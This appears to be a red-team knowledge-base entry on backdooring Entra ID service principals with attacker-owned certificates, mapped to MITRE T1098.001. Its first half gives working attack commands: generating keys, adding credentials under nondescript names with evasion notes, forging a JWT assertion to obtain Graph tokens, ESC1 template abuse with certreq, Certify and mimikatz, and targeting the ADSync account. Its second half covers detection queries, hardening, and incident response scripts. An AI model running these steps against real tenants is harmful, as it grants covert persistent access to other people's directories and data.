| Attribute | Details |
|---|---|
| Technique ID | PERSIST-ACCT-006 |
| MITRE ATT&CK v18.1 | T1098.001 - Account Manipulation: Additional Cloud Credentials |
| Tactic | Persistence |
| Platforms | Entra ID |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All (Entra ID, hybrid environments with certificate trust) |
| Patched In | N/A (configuration control, not a vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Service Principal Certificate/Secret Persistence is an advanced technique where attackers add X.509 certificates or cryptographic keys to compromised service principals (application identities in Entra ID) to maintain persistent, passwordless authentication. Unlike temporary secrets that expire or require rotation, certificates can be valid for years and provide authentication that bypasses user-based detection mechanisms. Service principals authenticate via client credentials grant flow using a public/private key pair—once an attacker controls the private key, they can silently authenticate as that service principal indefinitely. This technique is particularly powerful in hybrid environments where service principals are synchronized between on-premises Active Directory and Entra ID, or where certificates are chained to trusted Certificate Authorities (CAs).
The attack surface includes:
keyCredentials property in Entra ID)Undetectable persistence, cross-tenant lateral movement, and privilege escalation through passwordless impersonation. Once an attacker holds a certificate for a service principal with high permissions (e.g., Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory), they can authenticate repeatedly without being logged as a “user” login. This bypasses anomalous sign-in detection, conditional access policies, and MFA enforcement. The attacker can then create additional backdoors, modify tenant policies, exfiltrate data, or escalate to Global Administrator. In the Semperis EntraGoat Scenario 6, attackers used certificate-based authentication combined with a rogue root CA to impersonate Global Administrators while satisfying MFA requirements.
Certificate-based persistence typically takes 5-15 minutes to establish (including certificate generation, key pair creation, and service principal modification). The technique generates minimal direct alerting—audit logs record the credential addition but may not trigger alerts if organizations don’t monitor for certificate issuance. Detection difficulty: Medium to Hard (certificates can be self-signed; X.509 validation requires inspecting certificate metadata, issuer CN, and validity dates). The attack chain often follows privilege escalation: attacker compromises a user with app registration permissions → escalates to Global Admin or Application Administrator → adds certificate credential to existing high-permission service principal → uses certificate for persistent authentication.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.17 | Ensure that multi-tenant organization is not enabled; or if enabled, required organizational relationships are properly configured |
| CIS Benchmark | 3.2.1 | Ensure that guest user invitations are sent to a restricted domain; or guest users are disallowed to invite additional users |
| DISA STIG | V-222645 | The organization must enforce requirements for certificate-based authentication security. |
| DISA STIG | V-222684 | The application must log all certificate-based authentication attempts and accept only valid certificates. |
| NIST 800-53 | IA-5(2) | Authentication – Cryptographic-based authentication must use mechanisms validated under FIPS 140-2 |
| NIST 800-53 | IA-7 | Cryptographic Module Authentication – Applications must use approved cryptographic algorithms |
| NIST 800-53 | SC-12 | Cryptographic Key Establishment and Management – Keys must have defined lifecycle and secure storage |
| NIST 800-63B | 4.1.2 | Out-of-Band Devices – Multi-factor authentication mechanisms must be properly validated |
| GDPR | Art. 32 | Security of Processing – Cryptographic keys must be encrypted at rest and in transit |
| GDPR | Art. 5(1)(f) | Integrity and Confidentiality – Unauthorized key usage violates data protection principles |
| DORA | Art. 6 | Governance of ICT third-party risk – Certificate issuance and validation must be audited |
| DORA | Art. 15 | Cryptographic key management – Keys must be rotated and securely stored |
| NIS2 | Art. 21 | Cyber risk management measures – Certificate lifecycle management is a mandatory security control |
| NIS2 | Art. 22 | Human resources security – Staff must authenticate using verified credentials |
| ISO 27001 | A.10.1.2 | Cryptographic Controls – Keys must be generated, stored, backed up, and destroyed securely |
| ISO 27001 | A.9.4.5 | Cryptographic key management – Key lifecycle includes generation, certification, storage, and retirement |
| ISO 27005 | Risk scenario | Compromise of cryptographic keys enabling unauthorized authentication and persistent access |
https://login.microsoftonline.com (OAuth 2.0 token endpoint)https://graph.microsoft.com (Microsoft Graph API)Objective: Identify service principals without certificate credentials and verify certificate authority trust relationships.
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All"
# List all service principals
$servicePrincipals = Get-MgServicePrincipal -All
# Enumerate service principals with existing certificates (potential targets for additional cert injection)
foreach ($sp in $servicePrincipals) {
$keyCredentials = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $sp.Id
if ($keyCredentials) {
Write-Host "Service Principal: $($sp.DisplayName)"
Write-Host " AppId: $($sp.AppId)"
Write-Host " Certificate Count: $($keyCredentials.Count)"
foreach ($cert in $keyCredentials) {
Write-Host " - Key ID: $($cert.KeyId)"
Write-Host " Start Date: $($cert.StartDateTime)"
Write-Host " End Date: $($cert.EndDateTime)"
Write-Host " Usage: Verify (Signature Verification)"
}
}
}
# Check for service principals with high permissions
Get-MgServicePrincipal -All | Where-Object {
$_.AppRoles | Where-Object { $_.Value -in @("Directory.ReadWrite.All", "RoleManagement.ReadWrite.Directory") }
} | Select-Object DisplayName, AppId, @{Name="HighRiskRoles"; Expression={$_.AppRoles.Value -join ","}}
What to Look For:
# List all service principals with certificate credentials
az ad sp list --output json | jq '.[] | select(.keyCredentials | length > 0) | {displayName, appId, certificateCount: (.keyCredentials | length)}'
# Get certificate details for a specific service principal
az ad sp credential list --id <service-principal-id> --output json
Supported Versions: All Entra ID versions; recommended for complete control
Objective: Create a certificate that only the attacker knows the private key for.
#!/bin/bash
# Generate RSA private key (4096-bit, industry standard for service principals)
openssl genrsa -out attacker-private-key.pem 4096
# Generate self-signed certificate valid for 10 years
openssl req -new -x509 -key attacker-private-key.pem -out attacker-cert.cer -days 3650 \
-subj "/C=US/ST=California/L=San Francisco/O=ACME Corp/CN=ServicePrincipal-Automation-2024"
# Extract public key from certificate (this is what gets installed on the service principal)
openssl x509 -pubkey -noout -in attacker-cert.cer > attacker-public-key.pem
# Display certificate details (for verification)
openssl x509 -text -noout -in attacker-cert.cer
# Store private key securely (attacker keeps this)
chmod 600 attacker-private-key.pem
echo "Private key stored in: attacker-private-key.pem"
Expected Output:
Certificate:
Data:
Version: 3 (0x2)
Serial Number: <random>
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, ST=California, L=San Francisco, O=ACME Corp, CN=ServicePrincipal-Automation-2024
Subject: C=US, ST=California, L=San Francisco, O=ACME Corp, CN=ServicePrincipal-Automation-2024
Not Before: Jan 9 00:00:00 2026 GMT
Not After : Jan 8 23:59:59 2036 GMT
Public-Key: (4096 bit, RSA)
OpSec & Evasion:
Troubleshooting:
openssl: command not found
apt-get install openssl or yum install opensslObjective: Encode the certificate in format required by Microsoft Graph API.
#!/bin/bash
# Convert certificate to base64 (required for Microsoft Graph API)
CERT_BASE64=$(cat attacker-cert.cer | base64 -w 0)
echo "Base64-Encoded Certificate:"
echo $CERT_BASE64
# Extract certificate thumbprint (used for identification)
THUMBPRINT=$(openssl x509 -in attacker-cert.cer -noout -fingerprint -sha1 | cut -d= -f2 | tr -d ':')
echo "Certificate Thumbprint: $THUMBPRINT"
# Store these values for next step
echo $CERT_BASE64 > /tmp/cert_base64.txt
echo $THUMBPRINT > /tmp/cert_thumbprint.txt
Expected Output:
Base64-Encoded Certificate:
MIIF...XQAw==
Certificate Thumbprint: A1B2C3D4E5F6...
Objective: Install the public certificate on the target service principal; attacker keeps the private key.
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All"
# Target service principal
$targetServicePrincipal = Get-MgServicePrincipal -Filter "displayName eq 'Target-App-Name'"
# Define certificate parameters
$keyCredentialParams = @{
DisplayName = "PROD-Integration-Certificate-2024-Q1" # Nondescript name
StartDateTime = (Get-Date)
EndDateTime = (Get-Date).AddYears(10)
Type = "AsymmetricX509Cert" # Specifies X.509 certificate (not password)
Usage = "Verify" # Certificate is used for signature verification (authentication)
Key = [System.Text.Encoding]::UTF8.GetBytes((Get-Content "attacker-cert.cer")) # Certificate public key
}
# Add certificate to service principal
$newKeyCredential = Add-MgServicePrincipalKey -ServicePrincipalId $targetServicePrincipal.Id @keyCredentialParams
Write-Host "Certificate Added to Service Principal!"
Write-Host "Key ID: $($newKeyCredential.KeyId)"
Write-Host "Start Date: $($newKeyCredential.StartDateTime)"
Write-Host "End Date: $($newKeyCredential.EndDateTime)"
Expected Output:
Certificate Added to Service Principal!
Key ID: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
Start Date: 1/9/2026 3:18:45 PM
End Date: 1/8/2036 3:18:45 PM
OpSec & Evasion:
Troubleshooting:
Add-MgServicePrincipalKey: Insufficient privileges to complete the operation
Objective: Test that the certificate-based authentication works.
#!/bin/bash
# Variables
TENANT_ID="your-tenant-id"
CLIENT_ID="service-principal-app-id"
CERT_FILE="attacker-cert.cer"
KEY_FILE="attacker-private-key.pem"
# Create JWT assertion signed by the private key
# Step 1: Create JWT header and payload
HEADER='{"alg":"RS256","typ":"JWT"}'
PAYLOAD="{\"iss\":\"$CLIENT_ID\",\"sub\":\"$CLIENT_ID\",\"aud\":\"https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token\",\"iat\":$(date +%s),\"exp\":$(($(date +%s) + 3600))}"
# Base64 URL encode header and payload
HEADER_B64=$(echo -n $HEADER | base64 | tr '+/' '-_' | tr -d '=')
PAYLOAD_B64=$(echo -n $PAYLOAD | base64 | tr '+/' '-_' | tr -d '=')
# Create signature
SIGNATURE_INPUT="$HEADER_B64.$PAYLOAD_B64"
SIGNATURE=$(echo -n "$SIGNATURE_INPUT" | openssl dgst -sha256 -sign $KEY_FILE | base64 | tr '+/' '-_' | tr -d '=')
# Construct JWT
JWT="$HEADER_B64.$PAYLOAD_B64.$SIGNATURE"
echo "JWT Token (Client Assertion):"
echo $JWT
# Step 2: Exchange JWT for access token using client credentials grant
TOKEN_RESPONSE=$(curl -s -X POST "https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=$CLIENT_ID" \
-d "scope=https://graph.microsoft.com/.default" \
-d "client_assertion_type=urn:ietf:params:oauth:grant-type:jwt-bearer" \
-d "client_assertion=$JWT" \
-d "grant_type=client_credentials")
echo "Token Response:"
echo $TOKEN_RESPONSE | jq '.'
# Extract and use access token
ACCESS_TOKEN=$(echo $TOKEN_RESPONSE | jq -r '.access_token')
# Test Graph API access
curl -s -X GET "https://graph.microsoft.com/v1.0/users?$top=5" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.'
Expected Output:
{
"token_type": "Bearer",
"expires_in": 3600,
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ijl..."
}
What This Means:
Supported Versions: Windows Server 2016-2025 with PSPKI module; Entra ID hybrid environments
Objective: Create certificate on Windows without external tools.
# Import PKI module
Import-Module PKI
# Create self-signed certificate
$certParams = @{
Subject = "CN=PROD-Integration-Service-2024"
KeyAlgorithm = "RSA"
KeyLength = 4096
HashAlgorithm = "SHA256"
NotAfter = (Get-Date).AddYears(10)
CertStoreLocation = "Cert:\CurrentUser\My"
Type = "CodeSigningCert"
}
$cert = New-SelfSignedCertificate @certParams
Write-Host "Certificate created with thumbprint: $($cert.Thumbprint)"
Write-Host "Subject: $($cert.Subject)"
Expected Output:
Certificate created with thumbprint: A1B2C3D4E5F6G7H8I9J0...
Subject: CN=PROD-Integration-Service-2024
Objective: Extract certificate and private key for installation.
# Get certificate from store
$cert = Get-ChildItem -Path "Cert:\CurrentUser\My" | Where-Object { $_.Thumbprint -eq "A1B2C3D4E5F6..." }
# Export private key to PFX file
$pfxPassword = ConvertTo-SecureString -String "YourStrongPassword" -AsPlainText -Force
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\cert-with-key.pfx" -Password $pfxPassword
# Export public certificate (for Graph API)
Export-Certificate -Cert $cert -FilePath "C:\Temp\cert-public-only.cer"
# Convert to base64 for API submission
$certBase64 = [System.Convert]::ToBase64String((Get-Content "C:\Temp\cert-public-only.cer" -Encoding Byte))
$certBase64 | Out-File "C:\Temp\cert-base64.txt"
Write-Host "Certificate exported successfully"
Objective: Register the public certificate on the target service principal.
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Get target service principal
$servicePrincipal = Get-MgServicePrincipal -Filter "displayName eq 'Target-Application'"
# Read certificate in binary format
$certBytes = Get-Content "C:\Temp\cert-public-only.cer" -Encoding Byte
# Add key credential to service principal
$keyCredential = @{
DisplayName = "PROD-Cert-Backdoor-Q1-2024"
StartDateTime = (Get-Date)
EndDateTime = (Get-Date).AddYears(10)
Type = "AsymmetricX509Cert"
Usage = "Verify"
Key = $certBytes
}
Add-MgServicePrincipalKey -ServicePrincipalId $servicePrincipal.Id -KeyCredential $keyCredential
Write-Host "Certificate successfully added to service principal"
Supported Versions: Hybrid AD with Certificate Services; applicable to on-premises escalation + cloud backdoor
Objective: Find misconfigured certificate templates that allow arbitrary user/computer enrollment.
# Import Active Directory module
Import-Module ActiveDirectory
# Get all certificate templates
$templates = certutil -CATemplates | Select-String ":" | ForEach-Object {
$_.Line.Split(":")[0].Trim()
}
foreach ($template in $templates) {
# Check template permissions
certutil -dstemplate -v $template | Select-String "Enrollment rights" -A 5
# Look for templates that allow "Domain Users" or "Authenticated Users" enrollment
if ($_ -match "Domain Users|Authenticated Users|Everyone") {
Write-Host "VULNERABLE TEMPLATE: $template - Allows unrestricted enrollment"
}
}
Objective: Request a certificate for a privileged account using a misconfigured template.
# Request certificate as low-privileged user for a Global Admin
# This is the ESC1 attack (Certificate template abuse)
$certRequest = @{
Template = "VulnerableTemplate" # Found in Step 1
SubjectName = "CN=GlobalAdmin@contoso.com" # Impersonate Global Admin
Exportable = $true
SignatureAlgorithm = "SHA256"
}
# Use Certify tool or Mimikatz to request certificate
# Command example (using Certify):
# .\Certify.exe request /ca:ca.contoso.com /template:VulnerableTemplate /subjectaltname:GlobalAdmin@contoso.com
# Alternatively, use certreq command
$request = @"
[NewRequest]
Subject = "CN=GlobalAdmin@contoso.com"
MachineKeySet = FALSE
Exportable = TRUE
KeyLength = 4096
KeySpec = Signature
"@
$request | Out-File cert_request.inf
certreq.exe -new cert_request.inf cert_request.csr
# Submit request to CA
certreq.exe -submit -attrib "CertificateTemplate:VulnerableTemplate" cert_request.csr response.cer
Objective: Authenticate to on-premises AD using the escalated certificate.
# Convert certificate to PFX for authentication
# pfx file contains both public cert and private key
# Use PKINIT to authenticate as the impersonated admin
$certPath = "C:\Temp\admin-cert.pfx"
$certPassword = ConvertTo-SecureString "password" -AsPlainText -Force
# Create credential using certificate
$pfxCert = Get-PfxCertificate -FilePath $certPath -Password $certPassword
# Authenticate to Kerberos
# This can be done via MIMIKATZ or direct PKINIT support:
# mimikatz # kerberos::pkinit /pfx:C:\Temp\admin-cert.pfx /password:password /user:GlobalAdmin@contoso.com /domain:contoso.com
# Obtain TGT (Ticket Granting Ticket) for the impersonated admin
# This TGT can be used to request service tickets and access resources
Objective: Use on-premises escalation to compromise cloud identity.
# Once authenticated as Global Admin on-premises, use Azure AD Connect or hybrid identity sync to escalate to cloud
# OR directly add credentials to Azure AD Connect service account (if accessible)
# Get Azure AD Connect service account
$aadConnectAccount = Get-ADUser -Filter "Name -like '*ADSync*'" -Property PasswordLastSet
# If account is compromised, extract its DPAPI-encrypted password from registry
# Then use to authenticate to Azure AD and modify directory sync settings
Mitigation 1.1: Implement Certificate Pinning and Validation Policies
Restrict which certificates are trusted for service principal authentication by implementing strict validation policies.
Manual Steps (Azure Portal):
PowerShell Validation:
# Audit all service principal certificates
$suspiciousCerts = @()
$servicePrincipals = Get-MgServicePrincipal -All
foreach ($sp in $servicePrincipals) {
$keyCredentials = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $sp.Id
foreach ($cert in $keyCredentials) {
$certAge = (Get-Date) - $cert.StartDateTime
$yearsUntilExpire = ($cert.EndDateTime - (Get-Date)).Days / 365
# Flag suspicious certificates
if ($yearsUntilExpire -gt 8 -or $cert.DisplayName -match "Backdoor|Attacker|Persistence") {
$suspiciousCerts += [PSCustomObject]@{
ServicePrincipal = $sp.DisplayName
CertificateName = $cert.DisplayName
StartDate = $cert.StartDateTime
EndDate = $cert.EndDateTime
YearsValid = $yearsUntilExpire
Suspicious = $true
}
}
}
}
# Export suspicious certificates for review
$suspiciousCerts | Export-Csv -Path "C:\Reports\SuspiciousCertificates.csv"
# Remove suspicious certificates
foreach ($suspCert in $suspiciousCerts) {
$sp = Get-MgServicePrincipal -Filter "displayName eq '$($suspCert.ServicePrincipal)'"
Remove-MgServicePrincipalKey -ServicePrincipalId $sp.Id -KeyCredentialId $suspCert.KeyId
Write-Host "Removed suspicious certificate: $($suspCert.CertificateName)"
}
Mitigation 1.2: Enforce Certificate Lifecycle Management
Implement automatic certificate rotation policies to limit the duration of any compromised key.
Manual Steps (Azure Policy):
Enforce Service Principal Certificate Expiration < 2 Yearsresources
| where type == "Microsoft.Authorization/roleDefinitions"
| where properties.keyCredentials | length > 0
| where properties.keyCredentials[].endDateTime > addyears(now(), 2)
| project violating_resource = id
PowerShell Rotation Script:
# Schedule this script via Azure Automation or scheduled task
# Connect to Graph
Connect-MgGraph -Identity
# Find certificates expiring > 2 years from now or already expired
$servicePrincipals = Get-MgServicePrincipal -All
foreach ($sp in $servicePrincipals) {
$keyCredentials = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $sp.Id
foreach ($cert in $keyCredentials) {
$daysUntilExpire = ($cert.EndDateTime - (Get-Date)).Days
# If certificate expires in > 2 years, schedule rotation notification
if ($daysUntilExpire -gt 730) {
Write-Host "ALERT: Service Principal $($sp.DisplayName) has certificate valid for $daysUntilExpire days (limit: 730)"
# Send email alert to admin
Send-MgUserMail -UserId "<admin@tenant.onmicrosoft.com>" -Message @{...}
}
}
}
Validation Command (Verify Fix):
# Check that all certificates have < 2 year validity
Get-MgServicePrincipal -All | ForEach-Object {
$sp = $_
$keyCredentials = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $sp.Id
foreach ($cert in $keyCredentials) {
$daysValid = ($cert.EndDateTime - $cert.StartDateTime).Days
if ($daysValid -gt 730) {
Write-Host "WARNING: $($sp.DisplayName) has certificate valid for $daysValid days"
}
}
}
Mitigation 1.3: Monitor and Alert on Certificate Additions
Detect when certificates are added to service principals (potential backdoor creation).
Manual Steps (Microsoft Sentinel KQL Query):
// Detect new service principal certificates with verification usage
AuditLogs
| where OperationName has_any ("Add service principal key", "Add application key", "Update application - Certificates and secrets management")
| where Result =~ "success"
| extend InitiatingAppName = tostring(InitiatedBy.app.displayName)
| extend InitiatingUserPrincipalName = tostring(InitiatedBy.user.userPrincipalName)
| extend TargetResourceName = tostring(TargetResources[0].displayName)
| extend ModifiedProperties = TargetResources[0].modifiedProperties
| mv-apply Property = ModifiedProperties on (
where Property.displayName =~ "KeyDescription"
| extend newValue = parse_json(tostring(Property.newValue))
| extend keyType = tostring(newValue[0].KeyType)
| where keyType =~ "AsymmetricX509Cert"
)
| project TimeGenerated, OperationName, InitiatingUserPrincipalName, InitiatingAppName, TargetResourceName, keyType
| where TimeGenerated > ago(24h)
Deploy this query as an alert rule with 1-hour frequency and Medium severity.
Mitigation 2.1: Restrict Certificate Authority Access
In hybrid environments, lock down AD CS access to prevent unauthorized certificate issuance.
Manual Steps (AD CS Certificate Authority):
PowerShell:
# Audit certificate issuance permissions
certutil -caacls -d
# Remove dangerous template enrollment rights
dsacls "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=com" `
/R "CONTOSO\Domain Users" # Remove Domain Users enrollment right
# Set to require admin approval for sensitive templates
certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
Mitigation 2.2: Enable Certificate Transparency Logging
Log all certificate issuance events for forensic analysis.
Manual Steps (Azure Audit Logging):
Add service principal key, Update application - Certificates and secrets managementAudit Events:
Add service principal key OR Update application - Certificates and secrets managementAsymmetricX509Cert (indicates certificate-based credential)Verify (indicates authentication certificate, not encryption)Suspicious Patterns:
Directory.ReadWrite.All)Cloud Artifacts (Azure Audit Logs):
{
"CreationTime": "2026-01-09T14:32:45Z",
"UserPrincipalName": "attacker@contoso.com",
"OperationName": "Add service principal key",
"ResourceId": "/applications/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"TargetResources": [
{
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"displayName": "Target-App",
"modifiedProperties": [
{
"displayName": "KeyDescription",
"newValue": "[{\"KeyIdentifier\":\"...\",\"KeyType\":\"AsymmetricX509Cert\",\"KeyUsage\":\"Verify\",\"DisplayName\":\"PROD-Cert-2024\"}]"
}
]
}
]
}
Certificate Store (Windows):
Cert:\CurrentUser\My or Cert:\LocalMachine\MyEntra ID (Graph API):
# Export all service principal certificates for forensic analysis
$servicePrincipals = Get-MgServicePrincipal -All
foreach ($sp in $servicePrincipals) {
$certificates = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $sp.Id
if ($certificates) {
$certificates | Export-Csv -Path "C:\Forensics\ServicePrincipalCerts_$($sp.Id).csv" -Append
}
}
Objective: Immediately disable the service principal to revoke authentication capability.
# Disable the service principal
$servicePrincipal = Get-MgServicePrincipal -Filter "appId eq 'ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj'"
Update-MgServicePrincipal -ServicePrincipalId $servicePrincipal.Id -AccountEnabled:$false
Write-Host "Service principal disabled. No further authentication possible."
Objective: Delete attacker-added certificates while preserving legitimate ones.
# Get compromised service principal
$servicePrincipal = Get-MgServicePrincipal -Filter "displayName eq 'Compromised-App'"
# Get all certificate credentials
$allCerts = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $servicePrincipal.Id
foreach ($cert in $allCerts) {
# Criteria for removal
$isSuspicious = (
$cert.DisplayName -match "Backdoor|Persistence|Attacker" -or
($cert.EndDateTime - $cert.StartDateTime).Days -gt 1825 # > 5 years
)
if ($isSuspicious) {
Remove-MgServicePrincipalKey -ServicePrincipalId $servicePrincipal.Id -KeyCredentialId $cert.KeyId
Write-Host "Removed certificate: $($cert.DisplayName)"
}
}
Objective: Revoke any access tokens issued using the compromised certificate.
# Sign out all sessions for the service principal
# This forces re-authentication, invalidating cached tokens
Invoke-MgGraphRequest -Method POST -Uri "/beta/serviceprincipals/$($servicePrincipal.Id)/revokeSignInSessions"
Write-Host "All tokens for service principal have been revoked."
Objective: Determine what resources the compromised service principal accessed.
# Query Microsoft Sentinel for all Graph API calls from the compromised service principal
$query = @"
SigninLogs
| where AppId == 'ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj' # Compromised app ID
| where TimeGenerated > ago(7d)
| summarize CallCount=count(), FirstAccess=min(TimeGenerated), LastAccess=max(TimeGenerated) by ResourceDisplayName, AppDisplayName
| sort by CallCount desc
"@
# Execute in Sentinel to identify which resources were accessed
Objective: Remove any roles or permissions assigned to the compromised service principal.
# Remove directory roles
$servicePrincipal = Get-MgServicePrincipal -Filter "displayName eq 'Compromised-App'"
$roleAssignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($servicePrincipal.Id)'"
foreach ($assignment in $roleAssignments) {
Remove-MgRoleManagementDirectoryRoleAssignment -UnifiedRoleAssignmentId $assignment.Id
Write-Host "Removed role assignment: $($assignment.RoleDefinitionId)"
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-002 | OAuth consent grant phishing or password spray |
| 2 | Privilege Escalation | PE-ACCTMGMT-001 | Escalate to Application Administrator or Global Admin |
| 3 | Persistence Setup | [PERSIST-ACCT-006] | Add self-signed certificate to high-permission service principal |
| 4 | Persistence Maintenance | PERSIST-ACCT-005 | Add password secret as backup authentication method |
| 5 | Defense Evasion | EVADE-IMPAIR-007 | Clear audit logs to hide certificate addition events |
| 6 | Lateral Movement | LM-AUTH-003 | Use service principal to access cross-tenant resources |
| 7 | Data Exfiltration | CA-TOKEN-004 | Use certificate-based token to exfiltrate data |
Target: U.S. Government agencies, Fortune 500 companies, and Microsoft
Timeline:
Technique Status: ACTIVE (evolved over multiple campaigns). APT29 created malicious OAuth applications and added certificates for persistence. They obtained ADFS private keys and forged SAML tokens signed by those keys, allowing them to impersonate any user in target organizations. The certificates were valid for years, enabling undetected access.
Attack Chain:
Impact:
Reference:
Target: Simulated enterprise Entra ID environment
Technique Status: ACTIVE. This scenario demonstrates how attackers can:
Organization.ReadWrite.All permissionTechnical Details:
Reference:
Target: Cloud-dependent organizations with multi-tenant setups
Technique Status: ACTIVE. Storm-0501 abused Federation Trust Configuration Tampering and certificate-based authentication to:
Attack Chain:
Detection:
Reference: